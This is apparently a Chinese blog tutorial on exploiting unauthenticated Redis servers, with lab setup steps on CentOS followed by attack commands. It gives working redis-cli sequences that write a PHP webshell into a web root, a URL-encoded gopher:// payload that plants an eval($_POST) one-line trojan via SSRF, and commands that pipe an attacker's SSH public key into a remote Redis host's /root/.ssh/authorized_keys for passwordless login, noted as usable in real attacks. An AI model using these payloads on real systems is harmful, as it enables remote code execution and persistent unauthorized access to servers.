Redis 未授权利用

Redis 未授权

要点

  • redis 和 ssrf 经常绑定

  • redis 端口 6379

  • redis 在内网常见

由于服务安装启动的时候默认不需要账户名密码认证,并且默认可以直接向服务器写入文件,也不需要进行额外的配置,这种情况下会造成任意文件的写入,此时攻击者可以向 web 目录下写一句话木马,也可以写入 ssh 公钥

windows 下载 git 终端,生成公钥和私钥

利用:

  1. 如果有 web 服务,可以向 web 根目录下写一句话木马
  2. 如果服务器存在 ssh,直接写入 ssh 公钥实现免密码登录

安装 Redis

配置网络,确保能上网

查看网卡

ip a

image-20231214113809005

编辑该网卡的配置文件

cd /etc/sysconfig/network-scripts/
vim ifcfg-ens33

自动分配 ip

image-20231214114015206

重启网卡

systemctl restart network

配置 yum 源

进入 yum 源目录

cd /etc/yum.repos.d

删除官方源

mkdir bak
mv * bak

下载并补充 yum 源

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

image-20231214172434485

下载 redis

yum install redis* -y

image-20231214172812942

利用 redis 木马文件

启动 redis

redis-server

image-20231214172942471

模拟创建 web 根目录

mkdir -p /var/www/html

启动 redis 客户端(另起一个终端)

redis-cli

模拟写入 php 语句

# 清空数据
flushall

# 定向哪个目录写文件
config set dir /var/www/html

# 指定数据库文件名
config set dbfilename shell.php

# 文件内容
set 'webshell' '<?php phpinfo();?>'

save

quit

无需任何认证即可操作 redis 数据库,并且默认情况下就可以有对文件的写入操作

image-20231214173758973

使用 gopher 配合 redis 写入一句话木马

curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

redis 写入 ssh 公钥

windows 安装 git,一直点下一步

链接:https://pan.baidu.com/s/1uc4tGfo8tq7FGdUkE_XMtg?pwd=bgly
提取码:bgly

右键,打开 bash

image-20231214181618701

生成 ssh 密钥

ssh-keygen -t rsa

image-20231214182229545

image-20231214182411638

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

redis 写入公钥

实战可以使用以下命令

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.9.47.159

手工模拟

cd /root/.ssh
vim authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

image-20231214184708775

此时拥有 ssh 私钥的 git 所在及其就可以免密登录 redis 服务器的 22 端口

image-20231214184822513

相关推荐

  1. HackTheBox-Redeemer:Redis授权访问

    2023-12-16 18:10:04       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-16 18:10:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-16 18:10:04       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-16 18:10:04       87 阅读
  4. Python语言-面向对象

    2023-12-16 18:10:04       96 阅读

热门阅读

  1. PCL 计算最小包围盒OBB及其各顶点坐标

    2023-12-16 18:10:04       56 阅读
  2. 学习网址1

    2023-12-16 18:10:04       51 阅读
  3. 微服务组件Nacos的学习(2)

    2023-12-16 18:10:04       57 阅读
  4. uniapp----button按钮去除边框

    2023-12-16 18:10:04       64 阅读
  5. 在树莓派上部署个人用的Git管理自己的代码

    2023-12-16 18:10:04       38 阅读
  6. 【ssh基础知识】

    2023-12-16 18:10:04       55 阅读
  7. OpenCV开发:Mat的单通道和多通道使用

    2023-12-16 18:10:04       56 阅读
  8. CGAL 点云法向量重新定向编程

    2023-12-16 18:10:04       54 阅读
  9. Postgresql部署

    2023-12-16 18:10:04       51 阅读